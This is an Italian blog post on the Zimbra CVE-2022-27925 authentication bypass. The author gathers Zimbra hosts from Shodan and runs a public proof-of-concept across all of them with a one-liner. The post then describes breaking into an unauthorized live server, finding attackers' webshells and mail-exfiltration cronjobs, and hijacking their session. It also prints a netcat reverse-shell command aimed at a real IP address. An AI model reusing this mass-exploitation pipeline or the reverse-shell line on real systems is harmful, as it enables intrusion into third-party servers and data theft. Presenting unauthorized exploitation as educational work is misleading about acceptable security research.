
CVE-2022-27925
La seguente ricerca è iniziata cercando di comprendere le PoC di vari repository su GitHub condivisi da molti ricercatori e si è conclusa con una sorpresa interessante, che condividerò nei prossimi paragrafi. Il 10 agosto di quest'anno il gruppo di ricerca sulla sicurezza Volexity ha pubblicato sul suo account Twitter la scoperta dello sfruttamento di massa della suite ZCS (Zimbra Collaboration Server) che consentiva un bypass dell'autenticazione e che circa 1000 istanze di Zimbra erano compromesse a livello mondiale.
Nella ricerca presentata dai colleghi di Volexity mostravano parte dei log consultati
[attacker_ip] - - [30/Jun/2022:05:33:18 +0000] "POST [snipped]/service/extension/backup/mboximport?account-name=admin&ow=1&no-switch=true HTTP/1.0" 401 299 "[snipped]" "Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0" 7
Allo stesso modo spiegavano che il difetto del codice era dovuto alla funzione doPost,

Il problema con questo codice è che viene verificata l'autenticazione e viene impostato un messaggio di errore, ma non c'è una dichiarazione di ritorno. Ciò significa che il codice successivo continuerà ad eseguirsi, indipendentemente dallo stato di autenticazione dell'utente. Seguendo la funzione verso il basso, un attaccante deve solo impostare i parametri corretti nell'URL per sfruttare la vulnerabilità.
Una volta comprese le possibili cause e dopo che erano già usciti alcuni PoC, procediamo a realizzare lo sfruttamento passo dopo passo, ma prima indagheremo sullo stato utilizzando lo strumento greynoise

Osserviamo che a più di un mese dalla pubblicazione del CVE-2022-27925 continuano a effettuare attacchi
Su Shodan possiamo osservare circa 45.223 installazioni di Zimbra

shodan download --limit -1 zimbra.json.gz http.favicon.hash:"1624375939"

Andiamo a esaminare i risultati
shodan parse --fields ip_str,port --separator , zimbra.json.gz > zimbra.txt

Andiamo a rivedere un po' i dati e dargli il formato necessario per automatizzare i test
Analizziamo i dati per poter utilizzare un online

Utilizzeremo httpx in docker

Scarichiamo la PoC da GitHub
git clone https://github.com/vnhacker1337/CVE-2022-27925-PoC

Proviamo l'oneliner con la PoC, è importante notare che dobbiamo spostare il file analizzato nella directory della PoC o chiamarlo con il percorso assoluto, anche utilizzando il dump di Shodan possiamo usarlo
cat zimbra.json | jq -r '.hostnames[]' | docker run -i projectdiscovery/httpx -silent | xargs -I@ sh -c 'python3 zimbra-exploit.py @ 313.zip' | egrep -v '404|401|405|200'

Durante questo test molti target appaiono già patchati
Finalmente abbiamo ottenuto un risultato


Una volta sfruttata la vulnerabilità, osserviamo file che sono script di APT per eseguire l'esfiltrazione delle informazioni e la preparazione del ricatto

file malevolo gift

File di backup ed esfiltrazione
Una delle route che abbiamo trovato conteneva molteplici webshell
/opt/zimbra/jetty_base/webapps/zimbraAdmin/

Un'analisi dei processi in esecuzione ha dimostrato che venivano installati cronjob per impacchettare le email

Nota: quanto segue è stato realizzato a fini educativi e come buona azione
Una volta identificato il download di netcat, abbiamo proceduto a prendere la sessione degli attaccanti, si osserva l'uso di netcat ./nc 52.90.92.82 443 -e /bin/bash
Una vulnerabilità segnalata pubblicamente più di 30 giorni fa è ancora in vigore al momento della stesura di questo articolo, va notato che i soggetti colpiti sono stati notificati senza successo poiché la vulnerabilità rimane attiva.